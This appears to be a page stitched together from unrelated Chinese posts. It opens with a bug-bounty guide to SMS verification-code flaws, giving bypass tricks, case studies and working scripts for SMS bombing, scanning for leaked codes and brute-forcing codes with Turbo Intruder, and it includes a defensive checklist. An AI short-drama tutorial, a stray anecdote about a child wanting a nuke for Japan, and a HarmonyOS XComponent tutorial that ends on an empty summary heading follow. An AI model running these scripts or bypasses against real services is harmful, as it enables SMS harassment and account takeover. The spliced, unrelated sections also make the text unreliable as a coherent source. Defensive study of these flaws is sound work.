2026年2月

一个六位数的验证码,决定了你是月入 500 还是月月 5000。

2024 下半年年某头部 SRC 年度报告显示:验证码相关漏洞占所有逻辑漏洞的 37%,但平均奖金只有 800 元——不是因为这个洞不值钱,而是 90% 的人只挖到了最浅的那层。

我见过最值钱的短信验证码漏洞,是一个“置空验证码”导致的任意用户登录,奖金 8000 元。也见过最亏的,一个“验证码回显”提交者只拿了 500 元——他不知道这个漏洞可以组合成全站用户数据泄露。

短信验证码是 SRC 里出现频率极高、但价值方差极大的漏洞类型。差距不在漏洞本身,在你能走多深。

本文将首次完整公开我的短信验证码深度狩猎体系——从 6 大类漏洞、12 个实战案例到自动化武器库,全是干到拧不出水的干货

第一章 验证码漏洞的“七宗罪”

1.1 验证码回显:开发者的“低级错误”

本质:服务器在返回“发送成功”的响应时,直接把验证码明文包含在返回包中。

挖掘方法:

点击“获取验证码”,用 Burp 抓取响应包
在 JSON/XML 响应中搜索code,verifyCode,smsCode,vCode
等字段
重点关注登录、注册、密码找回接口
案例:某平台登录页抓包,响应包中直接返回:

复制
{
  "status": 200,
  "message": "发送成功",
  "code": "123456"
}

攻击者可直接获取验证码登录任意账号。

1.2 短信轰炸:让厂商“破产”的漏洞

原理:服务器未对请求次数进行限制,导致可以无限重复发送短信。

基础绕过思路:

空格绕过:手机号后加空格

参数污染:手机号参数重复提交

大小写混淆:参数名大小写变异

多次叠加参数:如
mobile=13800138000,13800138000

案例 1:双写绕过
某系统发送一次后提示“90 秒内不可重复发送”。测试发现双写手机号可绕过:
mobile=13800138000,,13800138000
一次请求发送两条短信。

案例 2:参数遍历横向轰炸
某系统有smsType参数,值为 int 类型。遍历发现多个值对应不同功能点的短信:

smsType=1:登录验证码
smsType=2:修改密码
smsType=3:下单验证
smsType=4:注册验证
虽然单个功能点有限制,但组合使用可对同一手机号实现横向轰炸。

案例 3:订单 ID 生成轰炸
某下单支付功能:先下单生成订单 ID,再用订单 ID 发送验证码。每个订单只能发 5 次。
攻击思路:循环生成新订单 ID,每个发 5 次。10 个订单=50 次轰炸。

1.3 验证码爆破:四位数和六位数的差距

原理:4 位或 6 位数字验证码,若服务端未限制错误次数和时间,可暴力破解。

关键参数:

4 位验证码:0000-9999(1 万种组合)
6 位验证码:000000-999999(100 万种组合)
成功率关键:

验证码有效期(通常 4-6 分钟)
单 IP/单用户错误次数限制
验证码是否绑定手机号
实战脚本思路(使用 Turbo Intruder 高并发):

复制
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False)

    for code in range(0, 1000000):
        code_str = str(code).zfill(6)
        engine.queue(target.req, [code_str])
def handleResponse(req, interesting):
    if '成功' in req.response or req.status != 200:
        table.add(req)

1.4 验证码绕过:逻辑缺陷的“骚操作”

类型 A:置空验证码

案例:某系统登录/注册共用接口/sms/registerAndLogin
正常请求:

复制
{
  "username": "13800138000",
  "code": "123456",
  "tenantId": "xxx"
}

测试发现:将code 字段置空,同样返回token。直接绕过验证码,任意手机号可注册/登录。

进一步测试:已注册账号在登录口同样置空验证码,也返回token。任意用户登录,高危漏洞。

类型 B:图形验证码复用(虽不是短信,常组合出现)

案例:某系统登录口有图形验证码。抓包发现verifyId字段绑定验证码值。删除该字段后,验证码校验失效。

另一种情况:验证码不绑定session,一个验证码可重复使用,重放登录包 10 次均成功。

##1.5 验证码与订单 ID 绑定绕过

场景:支付、下单等敏感操作需短信验证,验证码绑定订单 ID。

挖掘思路:

A 账号下单,获取订单 ID1
B 账号下单,获取订单 ID2
尝试用 A 的验证码操作 B 的订单
实战案例:某电商平台,验证码只校验是否正确,未校验与订单 ID 的从属关系。导致攻击者可以用自己的验证码确认他人的订单,实现越权支付。

##1.6 响应包篡改绕过

场景:前端根据后端返回的statuscode判断验证码是否正确。

挖掘方法:

输入错误验证码,拦截响应包
"code": 400改为"code": 200放包,观察是否绕过
进阶技巧:返回包中直接包含 token,可替换为其他用户的 token 实现登录。

1.7 验证码复用(多阶段校验)

场景:一个验证码可用于多个操作(如注册和登录),且不失效。

挖掘方法:

注册时获取验证码123456登录其他账号时,使用同一个验证码123456若成功,则存在复用漏洞

第二章 实战案例库(完整攻击链)

##【案例 1】置空验证码 → 任意用户登录 → 后台接管

目标:某金融平台 APP
耗时:45 分钟
奖金:8000 元

攻击路径:

1.登录接口抓包:POST /api/login参数为 mobilecode
2.尝试删除code参数,请求体为空 → 返回错误
3.尝试code参数置空:"code": ""→ 返回 token,登录成功!
4.验证:用任意手机号均可登录,包括已注册和未注册的
5.登录后调用/api/user/info,获取用户敏感信息(姓名、身份证)
6.进一步:通过修改密码接口,重置任意账号密码

漏洞组合:置空验证码 + 任意用户登录 + 越权修改密码

厂商修复:紧急下线接口,24 小时内发布新版本

##【案例 2】短信轰炸+参数遍历+订单 ID 循环

目标:某电商平台
耗时:1.5 小时
奖金:3500 元

攻击路径:

1.密码找回功能抓包:POST /forget/sendCode,参数mobilesmsType=2
2.测试单手机号限制:发送 3 次后提示频繁
3.遍历smsType参数(1-20),发现smsType=1,2,3,5,7,11均返回成功
4.组合利用:一次请求可发 6 条短信
5.同时发现订单支付时验证码也走同一接口,订单 ID 可遍历
6.编写脚本循环生成订单 ID,每个订单可发 5 次验证码
结果:10 分钟内对单手机号发送 200+条短信

漏洞价值:短信轰炸导致厂商短信费用损失(每条 0.05 元,200 条=10 元),看似不大,但攻击者可无限消耗,且可针对所有手机号

【案例 3】验证码回显+信息泄露+密码重置

目标:某政务系统
耗时:20 分钟
奖金:1500 元

攻击路径:

1.注册页面抓包,点击获取验证码
2.响应包中直接包含:

复制
{
  "success": true,
  "verificationCode": "285731"
}

3.直接输入验证码,注册成功
4.进一步测试:密码找回接口同样回显验证码
5.输入任意手机号,获取其验证码,重置密码成功
6.登录该账号,查看用户信息(含身份证、住址)

漏洞组合:验证码回显 + 密码重置

##【案例 4】验证码爆破+IDOR 批量拖库

目标:某大学教务系统
耗时:2 小时
奖金:4000 元

攻击路径:

1.登录接口验证码为 4 位数字(0000-9999)
2.测试发现:无错误次数限制,验证码有效期 30 分钟
3.编写 Turbo Intruder 脚本,40 线程爆破
4.45 分钟后爆破成功,验证码为3728
5.同时发现用户 ID 为连续数字(10000-20000)
6.登录后调用/api/student/info?id=10001,可查看其他学生信息
7.组合利用:爆破任意账号验证码,遍历 ID 获取全站学生信息
##【案例 5】订单 ID 绑定缺陷+越权支付

目标:某外卖平台
耗时:3 小时
奖金:6000 元

攻击路径:

1.下单时需短信确认,验证码绑定订单 ID
2.A 账号下单,获取验证码123456
3.拦截确认请求,将订单 ID 改为 B 账号的订单
4.请求成功,A 的验证码确认了 B 的订单
5.导致:攻击者可帮他人确认订单(或强制他人订单)
6.进一步测试:支付接口同样缺陷,可用自己验证码支付他人订单
7.尝试支付订单后,余额扣减成功,但订单属于他人

最终可造成任意用户资金损失
##【案例 6】图形验证码复用+密码爆破

目标:某 VPN 登录系统
耗时:1.5 小时
奖金:3000 元

攻击路径:

1.登录口有图形验证码,每次刷新变化
2.抓包发现验证码与verifyId绑定
3.测试发现:删除 verifyId 参数后,验证码校验失效
4.用 Burp Intruder 对密码进行爆破
5.成功爆破管理员弱口令admin/123456
6.登录后台,可导出所有 VPN 用户配置
##【案例 7】验证码复用+多阶段绕过

目标:某社交 APP
耗时:1 小时
奖金:2000 元

攻击路径:

1.注册接口:获取验证码123456,用该验证码注册成功
2.不退出,用同一手机号登录另一设备
3.登录接口输入同样的验证码123456,成功登录
4.验证码未失效,可重复使用
5.导致:攻击者截获一次验证码,即可永久登录该账号

第三章 自动化武器库

3.1 短信轰炸检测脚本

复制
# sms_bomb_detector.py
import requests
import threading
import time
class SMSBombTester:
    def __init__(self, url, phone_param, phone):
        self.url = url
        self.phone_param = phone_param
        self.phone = phone
        self.headers = {"User-Agent": "Mozilla/5.0"}

    def test_normal(self):
        """正常发送一次"""
        data = {self.phone_param: self.phone}
        r = requests.post(self.url, data=data, headers=self.headers)
        return r.status_code

    def test_duplicate(self, count=10):
        """重复发送测试"""
        success = 0
        for i in range(count):
            data = {self.phone_param: self.phone}
            r = requests.post(self.url, data=data, headers=self.headers)
            if r.status_code == 200:
                success += 1
            time.sleep(0.5)
        return success

    def test_comma_bypass(self):
        """逗号分隔绕过"""
        phones = ",".join([self.phone] * 5)
        data = {self.phone_param: phones}
        r = requests.post(self.url, data=data, headers=self.headers)
        return r.text

    def test_parameter_pollution(self):
        """参数污染"""
        data = {
            self.phone_param: self.phone,
            self.phone_param + " ": self.phone,
            self.phone_param.upper(): self.phone
        }
        r = requests.post(self.url, data=data, headers=self.headers)
        return r.text

# 使用示例
tester = SMSBombTester("https://target.com/sendSMS", "mobile", "13800138000")
print(f"正常发送: {tester.test_normal()}")
print(f"重复 10 次成功数: {tester.test_duplicate(10)}")
print(f"逗号绕过结果: {tester.test_comma_bypass()}")

3.2 验证码回显扫描器

复制
# code_leak_scanner.py
import requests
import json
import re
from concurrent.futures import ThreadPoolExecutor
def scan_code_leak(url, phone):
    """扫描验证码回显漏洞"""
    payloads = [
        {"mobile": phone},
        {"phone": phone},
        {"username": phone},
        {"tel": phone}
    ]

    sensitive_fields = ["code", "verifyCode", "smsCode", "vCode", "verificationCode", "checkCode"]

    for data in payloads:
        try:
            r = requests.post(url, json=data, timeout=5)
            if r.status_code == 200:
                text = r.text
                for field in sensitive_fields:
                    # 尝试多种匹配模式
                    pattern = f'"{field}"\\s*:\\s*"(\\d{{4,6}})"'
                    match = re.search(pattern, text, re.IGNORECASE)
                    if match:
                        code = match.group(1)
                        print(f"[+] 发现验证码回显: {field}={code}")
                        print(f" 请求: {data}")
                        print(f" 响应: {text[:200]}")
                        return True
        except:
            pass
    return False
# 批量扫描
urls = ["https://target.com/api/sendSMS", "https://target.com/api/forgotPassword"]
with ThreadPoolExecutor(max_workers=5) as executor:
    for url in urls:
        executor.submit(scan_code_leak, url, "13800138000")

3.3 Turbo Intruder 爆破脚本(Burp 插件)

复制
# 验证码爆破模板
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False)

    # 4 位验证码
    for code in range(0, 10000):
        code_str = str(code).zfill(4)
        engine.queue(target.req, [code_str])

    # 6 位验证码(如需,可分段)
    # for code in range(0, 1000000):
    # code_str = str(code).zfill(6)
    # engine.queue(target.req, [code_str])
def handleResponse(req, interesting):
    # 自定义成功条件
    if 'success' in req.response or '登录成功' in req.response or req.status == 302:
        table.add(req)

#第四章 防御视角:为什么你的验证码总被绕过

4.1 开发者最常见的 7 个错误

1.验证码明文回显:调试代码未删除
2.无频率限制:单手机号/单 IP 可无限发送
3.验证码不绑定身份:A 的验证码可验证 B 的请求
4.验证码有效期过长:30 分钟甚至永久有效
5.错误次数无限制:可暴力破解
6.前端校验依赖:改响应包就绕过
7.验证码可复用:一个验证码多次使用

##4.2 企业自查清单

1.返回包中是否包含明文验证码?
2.单手机号/单 IP 是否有发送频率限制(如 60 秒 1 次,每日 5 次)?
3.验证码有效期是否≤5 分钟?
4.验证码错误次数是否限制(通常 3-5 次)?
5.验证码是否绑定用户会话(session 或 token)?
6.验证码是否绑定操作对象(订单 ID 等)?
7.验证码校验是否在服务端完成,而非依赖前端?
8.是否存在验证码复用漏洞?(使用一次后立即失效)

##4.3 正确实现姿势

1.生成验证码:随机 6 位数字,存储到服务端,绑定手机号和过期时间
2.发送限制:同一手机号 60 秒内只能发一次,每日最多 5 次
3.校验机制:验证码使用一次即失效,且必须与手机号、会话绑定
4.错误处理:错误次数达 3 次,需重新获取验证码
5.返回内容:响应包仅返回“发送成功”,永远不包含验证码

第五章 结语:漏洞的价值在于组合

一个验证码回显,单独提交可能只有 500 元。
但如果组合上密码重置接口,就能重置任意用户密码,价值 2000 元。
如果再组合用户 ID 遍历,就能批量获取全站用户数据,价值 5000 元。

漏洞的价值,不在于它本身,而在于你能用它做什么。

下次挖到短信验证码漏洞时,别急着提交。先问问自己:

这个验证码还能用在哪些接口?
有没有其他功能点也存在同样缺陷?
能不能组合成一条完整的攻击链?
当别人还在提交“短信轰炸”时,你已经能用它重置管理员密码了。
当别人还在报告“验证码回显”时,你已经拖走全站用户数据了。

这就是 500 和 5000 的差距。

-新年文章 祝各位安全技术员新年快乐,做自己热爱的事情就好像每天在游乐场玩一样

本文转载于 逍遥子讲安全

随着AI生成技术的飞速迭代,短剧创作已摆脱“高门槛、耗时长”的局限,借助AI工具可实现“故事生成—分镜脚本—视频渲染—后期剪辑”的全流程高效落地。本文将详细拆解一套实操性极强的AI短剧生成方案,以豆包、即梦Seedance2.0 Fast、剪映为核心工具,一步步教你从无到有打造完整短剧,兼顾效率与创作质感,适合新手快速上手。

一、前期铺垫:用豆包生成高质量短剧故事(核心基础)

短剧的核心是故事,好的故事无需复杂剧情,但需有清晰的人物、紧凑的冲突和明确的转折。豆包作为字节跳动旗下的AI对话工具,具备强大的文本生成与逻辑梳理能力,可快速输出符合短剧调性(1-3分钟、强冲突、高共情)的故事脚本,无需手动撰写初稿,大幅节省前期创作时间。

1.1 精准Prompt指令,引导豆包生成符合需求的故事

AI生成故事的关键的是“指令精准”,模糊的需求会导致生成内容杂乱无章。针对短剧创作,建议采用“题材+时长+人物设定+核心冲突+转折要求”的Prompt结构,示例如下:

“生成一个1-2分钟的古风短剧故事,题材为庶女逆袭,人物:女主苏清沅(隐忍后觉醒,庶女)、柳氏(嫡母,苛待庶女);核心冲突:柳氏刁难苏清沅,苏清沅首次反抗,打破以往隐忍形象;转折:柳氏因顾及家族名声,被迫妥协;结尾:苏清沅回到破旧小院,留下后续觉醒伏笔;语言简洁,适合短剧拍摄,避免复杂场景,突出人物情绪冲突。”
image.png

1.2 优化调整,让故事适配AI视频生成

豆包生成初稿后,需进行简单优化,重点关注3点:一是场景不宜过多(1-3个场景最佳,如侍郎府廊下、破旧小院,减少AI渲染压力);二是动作描写简洁具象(如“翻白眼、扶墙踉跄行走”,避免抽象描述,方便后续分镜转化和AI生成动作);三是人物对话精炼(符合人物身份,每句对话不超过15字,贴合短剧快节奏调性)。

优化后,可让豆包进一步补充“人物性格细节”和“场景补充说明”,确保故事逻辑连贯、人物立得住,为后续分镜生成打下基础。

二、中期转化:用豆包延伸生成分镜脚本(衔接故事与视频)

分镜脚本是故事落地为视频的“桥梁”,核心作用是明确每个镜头的画面、时长、动作、台词、镜头角度,让后续AI视频生成更精准,避免出现“画面与故事脱节”的问题。无需手动绘制分镜,可借助豆包,基于已生成的故事,延伸生成分镜脚本,适配即梦Seedance2.0 Fast的视频生成需求。

2.1 分镜生成Prompt设计,贴合AI视频渲染特点

向豆包输入Prompt时,需明确分镜的核心要素,同时结合AI视频生成的局限性(如复杂镜头难以渲染、时长控制精准),示例如下:

“基于刚才生成的庶女逆袭短剧故事,生成分镜脚本,要求:1. 每2秒一个镜头,总时长控制在90秒内;2. 镜头角度以近景、特写、远景为主,避免复杂运镜(如旋转、快速推拉),适配AI视频生成;3. 每个镜头明确标注:镜头序号、时长、镜头角度、画面内容、人物动作、台词、音效提示;4. 突出人物情绪特写和场景对比,如柳氏的愤怒、苏清沅的狼狈,小院与侍郎府的反差;5. 分镜逻辑连贯,衔接自然,符合短剧快节奏。”
image.png

2.2 分镜脚本优化,适配即梦Seedance2.0 Fast

豆包生成分镜脚本后,需针对性优化,适配即梦Seedance2.0 Fast的渲染优势(快速渲染、人物动作流畅、场景还原度高):一是删除过于复杂的镜头(如多人同框复杂动作、大范围远景运镜),减少渲染耗时和出错概率;二是明确每个镜头的“画面重点”(如“特写柳氏铁青的脸色和愤怒的眼神”),让AI聚焦核心元素;三是统一镜头时长(以2秒/个为主,特殊镜头可调整为3秒),确保后续视频节奏均匀。

优化后的分镜脚本,需包含“镜头序号、时长、镜头角度、画面内容、台词”5个核心模块,无需专业分镜术语,简洁明了即可。

三、核心渲染:用即梦Seedance2.0 Fast生成短剧视频(高效落地)

即梦Seedance2.0 Fast是字节跳动推出的AI视频生成工具,主打“快速渲染、真人质感、动作流畅”,尤其适合短剧生成——无需专业拍摄设备,无需手动调整参数,只需输入分镜脚本或关键词,即可快速生成符合要求的视频片段,完美衔接前期的故事与分镜。

3.1 工具准备与参数设置

  1. 打开即梦Seedance2.0 Fast(网页端或APP端均可),注册登录后,选择“短剧生成”模式(针对性优化了短剧的镜头节奏和人物渲染效果);2. 参数设置(核心优化,提升视频质感):分辨率选择“1080P”(适配短视频平台),帧率设置为“30fps”(动作更流畅),风格选择“真人动漫风”(兼顾真人质感和动漫的情绪张力),渲染速度选择“Fast模式”(优先保证效率,1分钟视频约5-8分钟渲染完成)。

image.png

3.2 输入分镜脚本,启动AI渲染

将优化后的分镜脚本,逐镜头输入到即梦Seedance2.0 Fast的“镜头描述”框中,每个镜头对应一个“描述框”,输入时需注意:一是复制分镜中的“画面内容、人物动作、镜头角度”,语言简洁,避免冗余;二是台词可直接输入到“台词框”,工具会自动匹配人物口型,无需手动调整;三是针对重点镜头(如人物情绪特写、场景对比),可在描述中添加“特写、高清、细节拉满”等关键词,提升渲染精度。

输入完成后,点击“预览”,查看每个镜头的渲染效果,若出现“动作不流畅、画面模糊、人物与场景脱节”等问题,可修改对应镜头的描述(如补充“动作缓慢、画面清晰”等关键词),再点击“重新渲染”。预览无误后,点击“批量渲染”,等待工具完成全片渲染(渲染过程中可后台运行,不影响其他操作)。

3.3 渲染后初步检查,规避常见问题

视频渲染完成后,重点检查3点:一是镜头衔接是否流畅(避免出现画面跳转生硬、时长偏差);二是人物动作与台词是否同步(口型匹配度、动作与台词节奏是否一致);三是画面质感是否达标(无模糊、无畸变,场景和人物还原符合分镜要求)。

若出现小问题(如个别镜头渲染模糊),无需重新批量渲染,可单独选中该镜头,修改描述后重新渲染,节省时间;若问题较多(如人物动作严重偏差),需返回分镜脚本,优化镜头描述后,再重新批量渲染。

四、后期收尾:用剪映进行优化处理(提升质感)

即梦Seedance2.0 Fast生成的视频的是“原始成片”,需通过剪映进行简单后期处理,优化节奏、添加音效、调整画质,让短剧更具观赏性,贴合短视频平台的传播需求。剪映作为免费的后期剪辑工具,操作简单,功能齐全,无需专业剪辑基础,新手可快速上手。

4.1 导入视频,优化镜头衔接与节奏

  1. 打开剪映,点击“开始创作”,将即梦生成的短剧视频导入到剪辑界面;2. 镜头衔接优化:查看每个镜头的衔接处,若出现跳转生硬,可添加“淡入淡出”转场(时长0.5秒),重点优化场景切换镜头(如从侍郎府廊下切换到小院,添加淡入淡出转场,提升流畅度);3. 节奏优化:根据短剧的情绪节奏,调整镜头时长(如冲突镜头可适当缩短,特写镜头可适当延长),删除冗余画面(如渲染出错的模糊片段),确保全片节奏紧凑,无拖沓。
    image.png

    4.2 添加音效、台词字幕,增强代入感

  2. 音效添加:点击剪映界面的“音频”,选择“音效”,搜索适配的音效(如雨声、木门吱呀声、人物情绪音效),将音效拖到对应镜头的时间轴上,调整音量(音效音量低于台词音量,避免盖过台词);2. 台词字幕:点击“文本”,选择“自动字幕”,剪映会自动识别视频中的台词,生成字幕,后续只需调整字幕的字体、颜色、大小(选择清晰易读的字体,颜色与画面对比强烈),修正识别错误的台词,确保字幕与台词同步。

4.3 画质优化与导出,适配传播需求

  1. 画质优化:点击剪映界面的“调节”,优化画质参数(亮度+5、对比度+3、锐化+10、饱和度+2),提升画面清晰度和质感,尤其针对AI渲染的暗部画面(如小院内部),可适当提高亮度,确保画面可见;2. 导出设置:点击“导出”,设置导出参数(分辨率1080P,帧率30fps,比特率中等),导出格式选择“MP4”(适配所有短视频平台),导出时可勾选“高清导出”,确保视频画质不压缩。

五、全流程总结与注意事项

本文梳理的AI短剧生成流程,核心逻辑是“AI替代人工,高效落地创作”——豆包负责“文本生成”(故事+分镜),即梦Seedance2.0 Fast负责“视频渲染”,剪映负责“后期优化”,整个流程无需专业技能,无需昂贵设备,新手可在1-2小时内完成从故事到成片的全流程创作,大幅降低短剧创作的门槛。

核心注意事项

  1. 故事与分镜的适配性:故事场景不宜过多,分镜描述不宜复杂,贴合AI视频渲染的局限性,避免“想得多、渲染不出”的问题;
  2. 即梦Seedance2.0 Fast的关键词优化:镜头描述越精准,渲染效果越好,重点镜头可添加“特写、高清、动作流畅”等关键词;
  3. 后期优化的简洁性:剪映优化以“提升质感、增强代入感”为主,无需添加复杂的特效,避免过度剪辑掩盖故事本身;
  4. 版权提示:使用AI工具生成故事、视频时,需确保内容无版权侵权(避免使用知名IP、抄袭台词),剪映的音效、字体需选择免费可商用版本,规避版权风险。

随着AI技术的不断升级,短剧创作将变得更加高效、便捷,未来还将实现“一键生成全片”“人物形象自定义”等更强大的功能。掌握这套基础流程,可快速入门AI短剧创作,无论是用于短视频传播、兴趣创作,还是小型商业产出,都能实现高效落地。

大年初三晚上,在 youtube 上看有个 UP 在总结 2025 十大烂片,其中讲到 731 的时候,9 岁的儿子跑过来看了一会,突然说: 爸,我想手搓个核弹送个日本。大为震撼。

背景

《HarmonyOS 6 自定义人脸识别模型1:XComponent入门》中介绍了XComponent的基本概念和简单使用,我们了解到XComponent组件作为一种渲染组件,可用于EGL/OpenGLES和媒体数据写入,通过使用XComponent持有的“NativeWindow”渲染画面,满足开发需要实现高级自定义渲染的需求,例如相机预览流的显示和游戏画面的渲染。对XComponent的操作和使用需要在C++层调用EGL/OpenGLES相关的接口进行操作,本文接着介绍XComponent中最基础的操作方式之OH_NativeXComponent绘制方式。

HarmonyOS 从API version 8开始,开发者就可以通过基于OH_NativeXComponent实例相关的接口进行XComponent组件Surface的生命周期监听、获取NativeWindow实例以及监听基础事件,实现渲染绘制和响应交互功能。

下面介绍OH_NativeXComponent方式在ArkTS侧如何声明与关联。

ArkTS侧声明XComponent

使用OH_NativeXComponent场景,使用XComponent时需要传入id和libraryname属性以支持在Native侧获取对应的OH_NativeXComponent实例:

XComponent({
  id: 'xcomponentId',
  type: XComponentType.SURFACE,
  libraryname: 'nativerender' // 利用id和libraryname属性在Native侧获取NativeXcomponent并绑定Surface生命周期
})
  .onLoad((xComponentContext) => {
    this.xComponentContext = xComponentContext as XComponentContext;
    this.currentStatus = 'index';
  })
  .onDestroy(() => {
    console.info('onDestroy');
  })
  .id('xcomponent')

在使用一些三方库或者自定义视频播放器时声明XComponent一般要求设置XComponent的id和library,以使用腾讯trtc实现实时视频通话功能为例:

Stack({ alignContent: Alignment.TopEnd }) {  
  XComponent({id: this.mViewModel.mainVideoViewId, type: XComponentType.SURFACE, libraryname: 'liteavsdk'})  
    .width('100%')  
    .height('100%')  
    .visibility(this.mViewModel.isVideoCall()? Visibility.Visible : Visibility.None)
    
}

libraryname指定trtc的so库名称liteavsdk,ArkTS中声明两个XComponent,一个展现自己画面,一个展现对方画面,通过控制大小实现画中画通话效果,具体的渲染交给trtc sdk的so库。

NDK 普通接口注册

在ArkTS中声明XComponent,配置id与libraryname后,如何在C++层获取组件的句柄进行渲染绘制呢?在了解这个问题前先回顾下一般场景下,ArkTS如何调用C++中的方法。

首先创建工程时选择Native C++模版,自动生成的代码模块中与ets文件夹同级的目录下有cpp文件夹,在cpp文件夹下有types文件夹,types文件夹下有libentry(规则为lib+模块名),libentry文件夹下的Index.d.ts问价声明ts方法,供arkts模块直接调用。
image.png

Index.d.ts同级目录oh-package.json5中代码结构如下:

{  
  "name": "libentry.so",  
  "types": "./Index.d.ts",  
  "version": "1.0.0",  
  "description": "Please describe the basic information."  
}

name表示库名称,在arkts中调用时需要导入该模块,工程模块的oh-package.json5中依赖该C++模块:

{  
  "name": "entry",  
  "version": "1.0.0",  
  "description": "Please describe the basic information.",  
  "main": "",  
  "author": "",  
  "license": "",  
  "dependencies": {  
    "libentry.so": "file:./src/main/cpp/types/libentry"  
  }  
}

接着在arkts中从so导入模块后就可以直接调用方法:

image.png

接下来在C++中实现Index.d.ts中声明的跨平台方法:

EXTERN_C_START  
static napi_value Init(napi_env env, napi_value exports)  
{  
    napi_property_descriptor desc[] = {  
        { "add", nullptr, Add, nullptr, nullptr, nullptr, napi_default, nullptr }  
    };  
    napi_define_properties(env, exports, sizeof(desc) / sizeof(desc[0]), desc);  
    return exports;  
}  
EXTERN_C_END  
  
static napi_module demoModule = {  
    .nm_version = 1,  
    .nm_flags = 0,  
    .nm_filename = nullptr,  
    .nm_register_func = Init,  
    .nm_modname = "entry",  
    .nm_priv = ((void*)0),  
    .reserved = { 0 },  
};  
  
extern "C" __attribute__((constructor)) void RegisterEntryModule(void)  
{  
    napi_module_register(&demoModule);  
}

RegisterEntryModule方法在加载so时自动调用,注册的模块是demoModule,demoModule中配置的注册方法为Init,Init中通过desc声明关联Index.d.ts中的方法,然后调用napi_define_properties进行实际注册。

在Add的C++实现方法中,通过napi_get_cb_info获取ArkTS传入的参数,转成napi对应的类型,最后在C++中实现具体逻辑:

static napi_value Add(napi_env env, napi_callback_info info)  
{  
    size_t argc = 2;  
    napi_value args[2] = {nullptr};  
  
    napi_get_cb_info(env, info, &argc, args, nullptr, nullptr);  
  
    napi_valuetype valuetype0;  
    napi_typeof(env, args[0], &valuetype0);  
  
    napi_valuetype valuetype1;  
    napi_typeof(env, args[1], &valuetype1);  
  
    double value0;  
    napi_get_value_double(env, args[0], &value0);  
  
    double value1;  
    napi_get_value_double(env, args[1], &value1);  
  
    napi_value sum;  
    napi_create_double(env, value0 + value1, &sum);  
  
    return sum;  
  
}

NDK XComponent对象关联

普通注册方法中是通过在Index.d.ts中声明跨平台方法供ArkTS调用,但是在XComponent场景中,XComponent并主动调用跨平台方法,而只是绑定了库名称,C++和ArkTS之间是如何关联的呢?

其实是系统帮我们实现了关联,在上面的Init方法中我们看到Init得第二个参数传入了napi_value类型的exports,而且这个exports并没有实际使用,只是做了透传就直接返回了:

EXTERN_C_START  
static napi_value Init(napi_env env, napi_value exports)  
{  
    napi_property_descriptor desc[] = {  
        { "add", nullptr, Add, nullptr, nullptr, nullptr, napi_default, nullptr }  
    };  
    napi_define_properties(env, exports, sizeof(desc) / sizeof(desc[0]), desc);  
    return exports;  
}  
EXTERN_C_END 

在XComponent场景中,就用到了第二个参数。我们可以在返回exports前对exports做一些操作:

void export(napi_env env, napi_value exports) {  
  if ((env == nullptr) || (exports == nullptr)) {  
    OH_LOG_Print(LOG_APP, LOG_ERROR, LOG_PRINT_DOMAIN, "PluginManager",  
                 "Export: env or exports is null");  
    return;  
  }  
  
  napi_value exportInstance = nullptr;  
  if (napi_get_named_property(env, exports, OH_NATIVE_XCOMPONENT_OBJ,  
                              &exportInstance) != napi_ok) {  
    OH_LOG_Print(LOG_APP, LOG_ERROR, LOG_PRINT_DOMAIN, "PluginManager",  
                 "Export: napi_get_named_property fail");  
    return;  
  }  
  
  OH_NativeXComponent *nativeXComponent = nullptr;  
  if (napi_unwrap(env, exportInstance,  
                  reinterpret_cast<void **>(&nativeXComponent)) != napi_ok) {  
    OH_LOG_Print(LOG_APP, LOG_ERROR, LOG_PRINT_DOMAIN, "PluginManager",  
                 "Export: napi_unwrap fail");  
    return;  
  }  
  
  char idStr[OH_XCOMPONENT_ID_LEN_MAX + 1] = {'\0'};  
  uint64_t idSize = OH_XCOMPONENT_ID_LEN_MAX + 1;  
  if (OH_NativeXComponent_GetXComponentId(nativeXComponent, idStr, &idSize) !=  
      OH_NATIVEXCOMPONENT_RESULT_SUCCESS) {  
    OH_LOG_Print(LOG_APP, LOG_ERROR, LOG_PRINT_DOMAIN, "PluginManager",  
                 "Export: OH_NativeXComponent_GetXComponentId fail");  
    return;  
  }  
//...
}
第一步:提取 XComponent 句柄 (Handle)
napi_value exportInstance = nullptr;
// 从 exports 对象中获取名为 OH_NATIVE_XCOMPONENT_OBJ 的属性
// 这里的 OH_NATIVE_XCOMPONENT_OBJ 是鸿蒙 NDK 定义的内部标识符
napi_get_named_property(env, exports, OH_NATIVE_XCOMPONENT_OBJ, &exportInstance);

当 ArkTS 加载包含 XComponent 的 Native 库时,系统会自动在 exports中注入一个特殊对象。这一步的作用是把这个由系统管理的 JS 对象提取出来。

第二步:解包 (Unwrap) 为底层指针
OH_NativeXComponent *nativeXComponent = nullptr;
// 将 JS 层的对象“解包”还原为 C++ 可以直接操作的指针类型 OH_NativeXComponent*
napi_unwrap(env, exportInstance, reinterpret_cast<void **>(&nativeXComponent));

这是 N-API 的标准操作。通过 napi_unwrap,我们拿到了操作该 XComponent 的原生 C++ 句柄。

第三步:获取唯一标识 ID
char idStr[OH_XCOMPONENT_ID_LEN_MAX + 1] = {'\0'};
uint64_t idSize = OH_XCOMPONENT_ID_LEN_MAX + 1;
// 通过句柄获取该 XComponent 在 ArkTS 侧定义的 id 属性值
OH_NativeXComponent_GetXComponentId(nativeXComponent, idStr, &idSize);

在 ArkTS 中,你可以定义多个 XComponent。id 是区分它们的唯一标识符。获取 ID 后,我们才能进行针对性的映射。

拿到OH_NativeXComponent后可以注册Surface的回调,在Surface回调中获取Window对象,然后通过OpenGLES对Window进行绘制。

OH_NativeXComponent方式多次加载

在静态声明模式下,如果页面上有两个** XComponent,Export 方法确实会执行两次(或者说 Init 会执行两次)。

这违背了常规 N-API 模块“加载一次,初始化一次”的直觉。为什么 Export 会执行多次?

在鸿蒙的声明式 UI(ArkTS)中,当你写下如下代码时:

// 实例 1
XComponent({ id: 'xc_1', libraryname: 'nativerender' })
// 实例 2
XComponent({ id: 'xc_2', libraryname: 'nativerender' })

底层发生的特殊行为:

  1. 虽然 .so库在进程中只会被加载(Load)一次,但 XComponent 框架会为每一个声明了 libraryname的组件实例,单独调用一次 Native 库的 Init 函数。
  2. 每次运行时系统调用 Init(env, exports) 时,传入的exports对象是独立且隔离的
  3. 系统会在这个临时的 exports对象中注入当前组件的句柄。
  4. 因此Export(env, exports)会被触发两次。

总结

